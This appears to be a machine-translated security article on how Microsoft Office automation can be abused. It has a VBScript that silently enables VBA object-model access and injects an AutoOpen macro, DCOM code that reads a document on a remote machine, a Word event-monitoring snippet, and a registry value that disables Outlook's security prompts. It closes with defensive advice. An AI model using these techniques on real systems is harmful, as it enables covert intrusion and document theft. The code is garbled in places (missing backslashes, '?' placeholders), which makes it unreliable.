Microsoft Office Security: Automation

Microsoft Office Security: Automation  
Electronic document management programs have made a real breakthrough, greatly facilitating the work of office staff. But it soon became clear that you can move even further by automating routine user activities. The programmable office applications had a clear advantage in the market. Visual Basic For Applications did not satisfy all needs: support of various "external" languages, including scripting ones, was required.
As already mentioned in previous articles , the development of the package was started in those days when nobody seriously considered the security of desktop systems. The main goal of developers was speed, secondary - low requirements for system resources. previously . Application security settings (those that define the ability to autorun macros and other active content from documents) in the Office program model are determined by the Application.AutomationSecurity variable. By default, this property has the value msoAutomationSecurityLow, which allows the launch of any active content from documents that are opened automatically. The security settings that are set by the user in the Trust Center or the administrator using administrative templates stored in the registry do not affect the security settings of Microsoft Office applications that are running in the automation mode. For secure automatic document processing, the AutomationSecurity property must be intentionally changed programmatically at runtime.
Such a small detail can be of great importance for companies in which automatic processing of the documents received from outside (via e-mail, from cloud storages, etc.) is configured.

Access to the VBA object model

As for most other elements of Microsoft Office applications,
the ability to manage and modify projects and code Visual Basic for Applications software is available through automation interfaces. By default, it is disabled to improve the security of the package and protect against macro viruses. When you try to programmatically create an object that is related to VBA, the calling program will return an error:
Error: 6068
Programmatic access to the Visual Basic Project is not trusted.

If the user still needs software access to VBA, he can enable this feature in the Trust Center settings:
The disadvantage of this solution is that the setting is saved in the registry branch that is available to the user for modification, for example for Microsoft Word it is:
HKEY_CURRENT_USERSoftwareMicrosoftOffice Office version of WordSecurityAccessVBOM
This means that any program that needs access to the VBA object model can "resolve" these behaviors completely independently. Below is the code of the program on VBScript that puts this flag in the registry and writes the code to the VBA project of the currently open document.
    'we get the version of Office and the path to the AccessVBOM registry key
Set objWord = CreateObject ("Word.Application")
dim regpath
regpath = "HKCUSoftwareMicrosoftOffice" & objWord.Version & "WordSecurityAccessVBOM"
'pause to close the previous instance of Word
WScript.Sleep 1000
'write a value that opens software access to VBA
projects. Set myWS = CreateObject ("WScript.Shell")
myWS.RegWrite regpath, ? "REG_DWORD"
'get the instance of Word running
On Error Resume Next
Set objWord = GetObject (, "Word.Application")
If Err Then
' or create a new
wscript.echo "app not running, starting "
Set objWord = CreateObject ("Word.Application")
objWord.Visible = True
objWord.Documents.Add ()
End If
Set objDoc = objWord.ActiveDocument
On Error Resume Next
set prj = objDoc.VBProject
If Err Then
wscript.echo "Error:" & Err.number & Err.Description
End If
prj.VBComponents ("ThisDocument"). CodeModule.AddFromString ("Sub AutoOpen ()" & vbCRLF & "MsgBox" "Hello world!" "" & vbCRLF & "End Sub")

Configuring program access to VBA can also be determined by the registry keys
HKLMSoftwareMicrosoftOffice The version of Office WordSecurityAccessVBOM
HKLMSOFTWAREPoliciesMicrosoftOffice The version of Office WordSecurityAccessVBOM
These keys have an advantage over those contained in the HKEY_CURRENT_USER. They can be changed by the administrator, for example, using Group Policy templates, thus blocking the ability to edit this setting by the user. However, by default these keys are missing.

Remote execution /DCOM

COM technology was originally designed in terms of the transparency of the location: the called components can be DLLs that are loaded into the calling process, or into a separate proxy process, locally executed programs (EXE), or components located on another computer (DCOM) .

Depending on the settings, the methods for calling a particular component can be different, and this can be implemented transparently both for the client and for the server. Certain changes in the registry can make any registered component in the system available for remote management, including anonymous. Once you gain access to an affected system, an attacker can later use this technology to perform any actions on behalf of a legitimate user without having to save any executable or interpreted programs on the disk. As for Microsoft Office, the possible actions include reading, creating and editing documents, adding macros and other active content, reading and sending e-mail, retrieving the contents of the Outlook address book.
For example, you can make Microsoft Word components available for remote management by manually configuring them. If desired, you can configure access with or without authentication (for anonymous connections). In this case, applications will be executed on behalf of the interactive user (who logged on locally) to the user.
To configure manually, perform the following steps:
  2. open the DCOM port in the firewall and add Microsoft Word to the list of allowed programs  
  3. use the Dcomcnfg utility to configure remote access for the Microsoft Word 97 - 2003 Document component.  

One of the steps for configuring the DCOM component for Word
Naturally, the same settings can be performed programmatically.
Thus, the Microsoft Word object model is available for remote management.
    hr = CoCreateInstanceEx (CLSID_Word,
& si, ? rgmqi);
IUnknown * pUnknown = 0;
if (hr == S_OK)
pUnknown = (IUnknown *) rgmqi[0].pItf;
printf ("CoCreateInstanceEx OKn");
printf ("CoCreateInstanceEx failed, error: 0x% Xn", hr);
_Application * pApp;
hr = pUnknown-> QueryInterface (__ uuidof (_Application), (void **) & pApp);
pUnknown-> Release ();
if (FAILED (hr))
printf ("QueryInterface (_Application) failed, error: 0x% Xn", hr);
printf ("DCOM server on remote machine started! n");
WCHAR * wszDocFileName = L "C: Users administrator Desktop important.docx";
VARIANT varResult;
DISPPARAMS dp = {0};
dp.cArgs = 1;
dp.cNamedArgs = 0;
dp.rgvarg = new VARIANT[dp.cArgs];
dp.rgvarg[0].vt = VT_BSTR;
dp.rgvarg[0].bstrVal = SysAllocString (wszDocFileName);
ZeroMemory (& varResult, sizeof (varResult));
hr = CallMethod (pApp-> Documents, OLESTR ("Open"), & dp, & varResult);
SysFreeString (dp.rgvarg[0].BstrVal);
IDispatch * IDWordDoc = varResult.pdispVal;
struct _Document * Copy = NULL;
IDWordDoc-> QueryInterface (__uuidof (_Document), (LPVOID *) & Copy);
RangePtr pContent = Copy-> Content;
printf (pContent-> Text);
Copy-> Close (); 
pApp-> Quit ();

Code sample for Visual Studio that reads the contents of the specified file on the remote computer

Tracking User Actions /Events

To track changes in Microsoft Office programs, the object model provides a standard connection point technology for COM, exporting the IConnectionPointContainer interface. Various types of events are supported: opening, closing, saving a document, sending email messages, etc.
Both the plug-ins (plug-ins) and the automation clients that work outside the Microsoft Office program process can subscribe to notification of events. In addition to legal programs designed to automate the user's work with documents, malicious software can also use this functionality.
Below is a fragment of the text of the program that can monitor such user actions in Microsoft Word, such as opening, closing a document, and sending it to the printer. In each case, the program receives the text of the active document.
hr = CLSIDFromProgID (L "Word.Application", & CLSID_Word);
IUnknown * pUnk = NULL;
do {
hr = GetActiveObject (CLSID_Word, NULL, & pUnk);
Sleep (500);
while (hr! = S_OK);
hr = OleRun (pUnk);
IConnectionPointContainer * pConnPtContainer;
hr = pUnk-> QueryInterface (IID_IConnectionPointContainer,
(void **) & pConnPtContainer);
IConnectionPoint * pConnectionPoint;
hr = pConnPtContainer-> FindConnectionPoint (__ uuidof (Word :: ApplicationEvents2),
& pConnectionPoint);
MyEventSink MySink;
DWORD dwSinkCookie = 0;
hr = pConnectionPoint-> Advise (& MySink, & dwSinkCookie);
pConnPtContainer-> Release ();


Application for fixing /executing code in the vulnerable system

In the pentester (and not only) practice, sometimes it becomes necessary to leave the possibility of access to a computer that does not arouse suspicion from the user or administrators and will not be detected by the antivirus. The component model of Office is perfectly suited for such purposes. A good description of some variants was made by Matt Nelson (@ enigma0x3) (
? Excel , Post ).
In the first case, you use programmatic access to Excel to run the macro, in the second Outlook to run an arbitrary application.

Warnings Outlook

The Microsoft Outlook object model is very convenient for malware creators in that it makes it easy to edit and distribute e-mail messages, add attachments, use the address book, performing these actions on behalf of a legitimate user. It also provides the ability to track user actions, changing, for example, the user created message at the time of sending.
Using the capabilities of DCOM allows you to perform these actions remotely, without saving any executable code on the vulnerable computer that can be detected by antivirus programs.
To reduce the likelihood of malicious software using Microsoft Outlook, developers have added customized messages about software access to Microsoft Outlook when trying to change or send messages, access to the address book.
A custom message about software access to Microsoft Outlook
By default, the message will appear only if the anti-virus software is not installed. That is, with the installed and updated antivirus Outlook will no longer warn the user about suspicious activity. The case for small - to implement the plan, not drawing attention to antivirus.
In the registry, this option is saved in the Security connection of Microsoft Outlook, for example for Microsoft Office version ???-bit with the ClickToRun platform the full path of the key:
To disable alerts about suspicious program activity, add the value: ObjectModelGuard (DWORD) 0x2.
To change these settings in the latest versions of Microsoft Office, you can use the group administration tools, or through the registry. The ability to change them through the user interface is disabled by default.

In conclusion,

None of the features of Microsoft Office described above is a vulnerability in the full sense of the word, and therefore, their correction is unlikely to be expected in the foreseeable future. What can a vigilant system administrator do in this case?
If you use automated processing of Office documents, especially from untrusted sources, it is advisable to ensure that the security settings are set correctly. This can be done by "feeding" an automated document system with a macro. Note that the use of automation may not be obvious, for example, a third-party program can invoke Microsoft Office applications to import data from .docx or .xlsx formats.
It is desirable to carefully configure the package using administrative templates.
Avoiding serious consequences will help the usual delimitation of access rights, working with Office exclusively from under an account that has user privileges. Firewall and User Access Control are a prerequisite for Windows security.
It is almost impossible to completely disable automation without violating the functionality of the Microsoft Office suite.
+ 0 -

Add comment